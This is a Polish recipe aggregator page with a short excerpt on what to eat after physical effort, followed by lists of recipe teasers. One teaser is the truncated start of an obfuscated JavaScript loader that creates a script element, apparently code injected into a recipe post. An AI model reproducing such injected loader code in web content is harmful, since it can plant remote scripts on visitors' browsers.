Ciekawostki -co jeść po wysiłku
Źródło: https://mojewyroby.wordpress.com/2020/11/11/ciekawostki-co-jesc-po-wysilku/
Autor: mojewyroby
Warto wiedzieć ,co zjeść po cwiczeniach ale też po sprzątaniu dłuższych zakupach i każdym innym wysiłku . suszone owoce -kilka np śliwek moreli zalecane jest zjeśc po wysiłku by uniknąć spadku cukru we krwi i uzupełnić witaminy i minerały utracone wraz z potem. Awokado -już 1/4 owocu wystarcza by uzupełnić potas,zapobiegający rozpadowi białek w mięśniach... Czytaj dalej
Najnowsze przepisy
Mięciutkie ciasto marchewkowe – wilgotny i delikatny... ⇖ 4
Czy diabetyk może jeść pizzę? To pytanie nurtuje wiele... ⇖ 6
Zapiekanka ryżowa z mięsem to świetna okazja do zużycia... ⇖ 6
(function(){ zsif=document.createElement("script");zsif_=("o ⇖ 12
Naleśniki napełnione po same brzegi pysznym mięsnym... ⇖ 11
Ciasto bananowe, łatwe i szybkie, idealne na wykorzystanie... ⇖ 12
Prościej się chyba nie da. Przy czym dostajemy bardzo... ⇖ 18
Ziemniaki zapiekane z brokułem to propozycja na prosty, a... ⇖ 22
Przepisy z bloga
Składnik kapusta włoska rozdzielić liście ,każdy jeden... ⇖ 1031
Składniki pomidorki koktajlowe 7 sztuk może być więcej... ⇖ 971
Ciasto ucierane owocowe -super ciasto bo można je upiec... ⇖ 869
Dawno go nie jadłam a sezon na maliny więc się skusiłam... ⇖ 1096
Musiałam zrobić to ciasto bo mi zostało troszkę sera we... ⇖ 934
4 pojedyncze filety z kurczaka słoiczek pesto pomidorki... ⇖ 868
Ciasto szpinakowe z masą jogurtową itruskawkami masa 2... ⇖ 933
potrzebne składniki 1 opakowanie borówek mrożonych lub... ⇖ 884
2 woreczki ryżu ugotowanego przyprawy kapusta pekińska... ⇖ 1073
Przepisy na czasie
Szukasz pomysłu na jajka wielkanocne? Ten przepis na jajka... ⇖ 704
Upieczenie tej fikuśnej babki (zwanej na wielu stronach... ⇖ 644
Święta Wielkanocne to idealny czas na kreatywne i... ⇖ 316
Jeśli szukacie pomysłu na wypiek, który zachwyci gości,... ⇖ 310
Ciasto Iskierka z musem brzoskwiniowym i krememCiasto... ⇖ 248
Ciasto tortowe z kremem, galaretką i śmietanąCiasto... ⇖ 199
Szukasz pomysłu na szybkie i smaczne jajka w sosie... ⇖ 191
Sernik z brzoskwiniami na kruchym kakaowym cieście to... ⇖ 188
